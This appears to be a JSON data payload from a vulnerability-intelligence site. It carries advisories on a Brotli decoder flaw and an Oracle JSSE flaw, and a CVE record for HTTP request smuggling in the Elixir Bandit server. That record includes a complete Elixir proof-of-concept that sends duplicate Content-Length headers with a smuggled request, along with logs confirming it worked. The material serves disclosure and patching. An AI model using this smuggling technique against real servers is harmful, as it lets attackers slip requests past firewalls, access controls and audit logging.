[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-39805":30,"landing-articles":72},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":37,"cwes":38,"cpes":40,"technologies":42,"references":44,"score":51,"epss_score":52,"epss_percentile":53,"is_kev":37,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":54,"attack_mappings":64,"exploits":71},10028,"CVE-2026-39805","EUVD-2026-26712","Bandit is vulnerable to CL.CL request smuggling via unrejected duplicate `Content-Length` header\n\n### Summary\n\nBandit is vulnerable to CL.CL HTTP request smuggling: it silently accepts requests with two `Content-Length` headers whose values differ, takes the first value, and dispatches the body bytes as a second pipelined request on the same keep-alive connection. RFC 9110 §5.3 prohibits multiple lines for singleton fields like `Content-Length`, and RFC 9112 §6.3 item 5 requires the recipient to treat invalid `Content-Length` as an unrecoverable framing error. When Bandit sits behind a proxy that picks the *last* `Content-Length` and forwards rather than rejects, an unauthenticated attacker can smuggle requests past edge WAF rules, path-based ACLs, rate limiting, and audit logging.\n\nThe vulnerability was introduced prior to `v0.1.0 (released Nov 5, 2020)` on Nov 16, 2019: https:\u002F\u002Fgithub.com\u002Fmtrudel\u002Fbandit\u002Fcommit\u002Fe5270b1b19e9f3574aa0f87ec76851d66c38c0af\n\n### Details\n\n`Bandit.Headers.get_content_length\u002F1` (`lib\u002Fbandit\u002Fheaders.ex`) calls `List.keyfind\u002F3`, which returns only the first matching header. Bandit already correctly rejects the comma-separated form (`Content-Length: 0, 43`) when values differ; the bug is that the multi-line form never reaches that check.\n\n**Fix:** collect every `Content-Length` value from the header list and reject unless all values parse and are byte-identical — extending the existing rejection to the multi-line case.\n\n### PoC\n\nThe script below boots a local Bandit server with a Plug that echoes the dispatched method and path, then sends a POST with `Content-Length: 0` followed by `Content-Length: 43` and a 43-byte body containing a valid `GET \u002Fsmuggled HTTP\u002F1.1` request line. Run with `elixir script.exs`\n\nOn Bandit 1.10.4 \u002F Elixir 1.18, default config: two `200 OK` responses on the same TCP connection. First body `method=POST path=\u002F`, second body `method=GET path=\u002Fsmuggled`. Bandit accepted the malformed request and dispatched the embedded request line as a second request.\n\n### Impact\n\nSpec violation that becomes request smuggling when paired with a permissive frontend. Practical impact depends entirely on what sits between the internet and Bandit, not on what runs above it.\n\nThe application framework (Phoenix, LiveView, Phoenix-API + React SPA) is irrelevant — smuggled requests still flow through the full Plug pipeline, so application auth still runs. The attacker is someone hitting the API directly with curl, not the SPA.\n\nReal exposure concentrates at boundary controls the proxy enforces and Bandit doesn't see: edge WAF, path-based ACLs at the LB, edge rate limiting, centralized audit logging, and — the only realistic data-exfil path — response-queue desync on pooled upstream connections.\n\nMost major frontends already reject CL.CL (Cloudflare, AWS ALB, current nginx, HAProxy in default strict mode). Realistic exposure: custom proxies, older nginx, in-house API gateways, or multi-hop setups where one hop is permissive.\n\n- Bandit directly on the internet: spec violation, no exploit.\n- Bandit behind a major CDN\u002FLB: almost certainly safe.\n- Bandit behind a custom or unverified proxy: real smuggling exposure, bounded by what that proxy was enforcing.\n\nWorth fixing regardless — the current behavior silently shifts security responsibility onto whichever proxy is deployed.\n\n### Script and Logs\n\n```elixir\n# Bandit HTTP\u002F1 duplicate Content-Length first-wins PoC.\n#\n# Bandit.Headers.get_content_length\u002F1 calls List.keyfind\u002F3, which returns the\n# first Content-Length value and silently ignores additional Content-Length\n# entries. RFC 9112 §6.3 explicitly classifies this as an unrecoverable error\n# and says the recipient MUST treat it as such.\n#\n# This is the classic CL.CL request-smuggling primitive. If a fronting proxy\n# uses the *last* Content-Length while Bandit uses the first (or vice versa),\n# the second \"request\" embedded in the first request's body gets dispatched\n# as a new request on the same keep-alive connection - after the proxy has\n# already applied its access controls.\n#\n# Run: elixir scripts\u002Fbandit\u002Fhttp1_duplicate_content_length.exs\n\nMix.install([\n  {:bandit, \"~> 1.10\"},\n  {:plug, \"~> 1.19\"}\n])\n\ndefmodule DemoApp do\n  @behaviour Plug\n\n  import Plug.Conn\n\n  def init(opts), do: opts\n\n  def call(conn, _opts) do\n    send_resp(conn, 200, \"method=#{conn.method} path=#{conn.request_path}\\n\")\n  end\nend\n\ndefmodule Smuggle do\n  @port 4321\n\n  def run do\n    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)\n\n    request = build_smuggling_request()\n    log(\"Sending #{byte_size(request)}-byte CL.CL request:\\n#{request}\")\n\n    {:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false])\n    :ok = :gen_tcp.send(sock, request)\n\n    response = read_all(sock)\n    :gen_tcp.close(sock)\n\n    log(\"Response stream:\\n#{response}\")\n    diagnose(response)\n  end\n\n  # POST with two Content-Length headers, plus a smuggled GET line in the\n  # body. A CL-last frontend would forward the body bytes; Bandit (CL-first)\n  # reads 0 bytes per Content-Length: 0, replies, and the smuggled request\n  # line either gets parsed as a new request on the keep-alive connection\n  # or stays in the buffer.\n  defp build_smuggling_request do\n    smuggled_request = \"GET \u002Fsmuggled HTTP\u002F1.1\\r\\nHost: 127.0.0.1\\r\\n\\r\\n\"\n    smuggled_size = byte_size(smuggled_request)\n\n    \"POST \u002F HTTP\u002F1.1\\r\\n\" \u003C>\n      \"Host: 127.0.0.1\\r\\n\" \u003C>\n      \"Content-Length: 0\\r\\n\" \u003C>\n      \"Content-Length: #{smuggled_size}\\r\\n\" \u003C>\n      \"\\r\\n\" \u003C>\n      smuggled_request\n  end\n\n  defp read_all(sock, accumulated \\\\ \"\") do\n    case :gen_tcp.recv(sock, 0, 2_000) do\n      {:ok, bytes} -> read_all(sock, accumulated \u003C> bytes)\n      {:error, _reason} -> accumulated\n    end\n  end\n\n  # Three observable outcomes:\n  #   - 400 Bad Request -> RFC-conformant rejection (not what current\n  #     Bandit does).\n  #   - Two responses, second one for \u002Fsmuggled -> Bandit dispatched the\n  #     smuggled request as a second pipelined request.\n  #   - One response -> Bandit accepted Content-Length: 0, the smuggled\n  #     bytes sat in the keep-alive buffer; with a CL-last frontend this\n  #     becomes a smuggled request on the next request boundary.\n  defp diagnose(response) do\n    response_lines = Regex.scan(~r\u002F^HTTP\\\u002F1\\.[01] \\d{3}[^\\r\\n]*\u002Fm, response) |> List.flatten()\n    log(\"HTTP\u002F1.x response lines observed: #{length(response_lines)}\")\n    Enum.each(response_lines, fn line -> log(\"  #{line}\") end)\n\n    cond do\n      response =~ ~r\u002F^HTTP\\\u002F1\\.[01] 400\u002F ->\n        log(\"OK: Bandit rejected duplicate Content-Length (RFC 9112 §6.3 conformant).\")\n\n      response =~ \"\u002Fsmuggled\" ->\n        log(\"VULNERABLE: smuggled GET \u002Fsmuggled was processed as a second request.\")\n\n      length(response_lines) == 1 ->\n        log(\"ACCEPTED: Bandit took the first Content-Length (0) and left the\")\n        log(\"smuggled request line in the keep-alive buffer. Combined with a\")\n        log(\"CL-last frontend this becomes request smuggling.\")\n\n      true ->\n        log(\"Inconclusive - see raw response above.\")\n    end\n  end\n\n  defp log(message), do: IO.puts(\"[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}\")\nend\n\nSmuggle.run()\n```\n\n```logs\n11:52:23.036 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[09:52:23.039] Sending 118-byte CL.CL request:\nPOST \u002F HTTP\u002F1.1\nHost: 127.0.0.1\nContent-Length: 0\nContent-Length: 43\n\nGET \u002Fsmuggled HTTP\u002F1.1\nHost: 127.0.0.1\n\n\n[09:52:25.057] Response stream:\nHTTP\u002F1.1 200 OK\ndate: Tue, 28 Apr 2026 09:52:22 GMT\ncontent-length: 19\nvary: accept-encoding\ncache-control: max-age=0, private, must-revalidate\n\nmethod=POST path=\u002F\nHTTP\u002F1.1 200 OK\ndate: Tue, 28 Apr 2026 09:52:22 GMT\ncontent-length: 26\nvary: accept-encoding\ncache-control: max-age=0, private, must-revalidate\n\nmethod=GET path=\u002Fsmuggled\n\n[09:52:25.057] HTTP\u002F1.x response lines observed: 2\n[09:52:25.057]   HTTP\u002F1.1 200 OK\n[09:52:25.057]   HTTP\u002F1.1 200 OK\n[09:52:25.058] VULNERABLE: smuggled GET \u002Fsmuggled was processed as a second request.\n```","2026-05-07T03:46:00Z",{},false,[39],"CWE-444",[41],"cpe:2.3:a:bandit:bandit:*:*:*:*:*:*:*:*",[43],"Bandit Bandit",[45,46,47,48,49,50],"https:\u002F\u002Fcna.erlef.org\u002Fcves\u002FCVE-2026-39805.html","https:\u002F\u002Fgithub.com\u002Fmtrudel\u002Fbandit\u002Fcommit\u002Ff2ca636eb6df385219957e8934e9fc6efa1630d1","https:\u002F\u002Fgithub.com\u002Fmtrudel\u002Fbandit\u002Fsecurity\u002Fadvisories\u002FGHSA-c67r-gc9j-2qf7","https:\u002F\u002Fosv.dev\u002Fvulnerability\u002FEEF-CVE-2026-39805","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-39805","https:\u002F\u002Fgithub.com\u002Fmtrudel\u002Fbandit",0,0.00518,0.4379,{"timestamp":55,"automatable":56,"tech_impact":57,"exploitation":58,"cisa_decision":59,"cisa_remediation_timeline":63},"2026-05-02T01:20:49.825555Z","yes","partial","poc",{"vector":60,"decision":61,"priority":62},"CISAv1\u002FE:P\u002FA:Y\u002FT:P\u002FM:H\u002F2026-10-26T06:03:13.125227\u002F","attend","medium","14D",[65],{"name":66,"source":67,"tactics":68,"technique_id":70},"Exploit Public-Facing Application","attack_vector",[69],"initial-access","T1190",[],{"count":73,"next":74,"previous":6,"results":75},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[76,84,92],{"id":77,"title":78,"summary":79,"published_at":80,"type":81,"link":82,"image_url":83},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":85,"title":86,"summary":87,"published_at":88,"type":89,"link":90,"image_url":91},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":93,"title":94,"summary":95,"published_at":96,"type":97,"link":98,"image_url":99},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]